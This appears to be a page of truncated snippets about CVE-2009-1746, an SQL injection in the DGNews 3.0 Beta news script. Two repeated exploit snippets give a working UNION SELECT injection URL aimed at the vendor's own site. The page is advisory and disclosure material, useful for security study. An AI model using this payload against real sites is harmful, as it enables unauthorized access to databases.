CVE-2009-1746

SQL injection vulnerability in berita.php in Dian Gemilang DGNews 3.0 Beta allows remote attackers to execute arbitrary SQL commands via the id parameter in a detail action...

CVE-2009-1746

CVE-2009-1746 describes an SQL injection in Dian Gemilang DGNews 3.0 Beta, via the id parameter in berita.php’s detail action, enabling remote arbitrary SQL execution. The underlying issue is a vulnerability in berita.php allowing attacker-controlled input to alter SQL queries. Affected product/v...

DGNews 3.0 Beta SQL Injection

DGNews 3.0 Beta berita.php Remote SQL Injection Vulnerability http://diangemilang.com/news/berita.php?view=detail&id=-28+union+select+1,version,3,4,5,6,7,8,9,10,11-- mysql 5 : Download :- http://www.diangemilang.com/download/comment.php?dlid=33&ENGINEsessID=2fcff934ccb74a561cd4c5df3dacd345...

DGNews 3.0 Beta - id SQL Injection

DGNews 3.0 Beta - id SQL Injection DGNews 3.0 Beta berita.php Remote SQL Injection Vulnerability http://diangemilang.com/news/berita.php?view=detail&id=-28+union+select+1,version,3,4,5,6,7,8,9,10,11-- mysql 5 : Download :-...